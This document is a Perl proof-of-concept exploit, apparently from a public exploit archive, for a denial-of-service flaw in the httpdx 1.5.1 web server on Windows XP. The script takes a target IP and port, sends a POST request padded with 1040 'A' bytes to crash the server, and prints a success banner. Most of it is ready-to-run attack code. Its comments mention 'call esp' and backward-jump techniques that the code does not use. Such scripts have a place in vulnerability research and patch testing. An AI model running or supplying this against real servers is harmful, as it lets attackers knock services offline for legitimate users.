#!/usr/bin/perl use IO::Socket::INET; # Exploit Title: httpdx 1.5.1 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 30 january 2024 # Vendor Homepage: http://httpdx.sourceforge.net # Download to demo: https://sourceforge.net/projects/httpdx/files/httpdx/httpdx%201.5.1/ # Notification vendor: No reported # Tested Version: httpdx 1.5.1 - Denial of Service (DoS) # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) # Vídeo: https://www.youtube.com/watch?v=EFtRwGVzx4s #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The web server does not correctly handle the amount of data or bytes sent. #When authenticating to the web server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "[+] Exploiting... \n"; my $sock = IO::Socket::INET->new("$ip:$port"); my $exploit = "\x41"x1040; print $sock "POST /index2.html HTTP/1.0\r\n" . "Content-Length: 1023\r\n" . "Content-Type: html\r\n" . "Host: $ip" . "\r\n" . "\r\n" . $exploit; print "[+] Done - Exploited success!!!!!\n\n"; sub intro { print q { ---------- # ------------------------------------------------------------------ --------- ##= -------------- [+] httpdx 1.5.1 - Denial of Service (DoS) ------- -------- ##=== ---------------------------------------------------------------- ------ ###==#=== -------------------------------------------------------------- ---- ####===##==== ------------------------------------------------------------ -- #####====###===== ----- Coded by Fernando Mengali ----- - #####=====####===== ----- [email protected] ----- - #####=====####===== --------------------------------------------------------- --- ####= # #==== -------- Prepare to exploiting the server ------------ --------- ##= ----------------------------------------------------------------- ------- ####=== --------------------------------------------------------------- } } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print " \nUsage: $0 <ip> <port> \n"; exit(-1); } }